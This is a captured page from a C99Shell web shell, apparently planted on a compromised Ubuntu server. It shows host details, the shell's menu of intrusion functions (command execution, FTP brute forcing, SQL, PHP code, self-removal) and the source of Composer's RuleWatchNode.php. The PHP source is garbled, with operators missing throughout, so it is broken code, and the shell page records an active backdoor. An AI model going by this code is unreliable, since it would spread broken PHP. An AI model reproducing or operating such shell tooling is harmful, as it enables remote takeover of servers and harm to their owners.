!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/DependencyResolver/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RuleWatchNode.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\DependencyResolver;

/**
 * Wrapper around a Rule which keeps track of the two literals it watches
 *
 * Used by RuleWatchGraph to store rules in two RuleWatchChains.
 *
 * @author Nils Adermann <naderman@naderman.de>
 */
class RuleWatchNode
{
    public 
$watch1;
    public 
$watch2;

    protected 
$rule;

    
/**
     * Creates a new node watching the first and second literals of the rule.
     *
     * @param Rule $rule The rule to wrap
     */
    
public function __construct($rule)
    {
        
$this->rule $rule;

        
$literals $rule->getLiterals();

        
$literalCount \count($literals);
        
$this->watch1 $literalCount $literals[0] : 0;
        
$this->watch2 $literalCount $literals[1] : 0;
    }

    
/**
     * Places the second watch on the rule's literal, decided at the highest level
     *
     * Useful for learned rules where the literal for the highest rule is most
     * likely to quickly lead to further decisions.
     *
     * @param Decisions $decisions The decisions made so far by the solver
     */
    
public function watch2OnHighest(Decisions $decisions)
    {
        
$literals $this->rule->getLiterals();

        
// if there are only 2 elements, both are being watched anyway
        
if (\count($literals) < || $this->rule instanceof MultiConflictRule) {
            return;
        }

        
$watchLevel 0;

        foreach (
$literals as $literal) {
            
$level $decisions->decisionLevel($literal);

            if (
$level $watchLevel) {
                
$this->watch2 $literal;
                
$watchLevel $level;
            }
        }
    }

    
/**
     * Returns the rule this node wraps
     *
     * @return Rule
     */
    
public function getRule()
    {
        return 
$this->rule;
    }

    
/**
     * Given one watched literal, this method returns the other watched literal
     *
     * @param  int $literal The watched literal that should not be returned
     * @return int A literal
     */
    
public function getOtherWatch($literal)
    {
        if (
$this->watch1 == $literal) {
            return 
$this->watch2;
        }

        return 
$this->watch1;
    }

    
/**
     * Moves a watch from one literal to another
     *
     * @param int $from The previously watched literal
     * @param int $to   The literal to be watched now
     */
    
public function moveWatch($from$to)
    {
        if (
$this->watch1 == $from) {
            
$this->watch1 $to;
        } else {
            
$this->watch2 $to;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--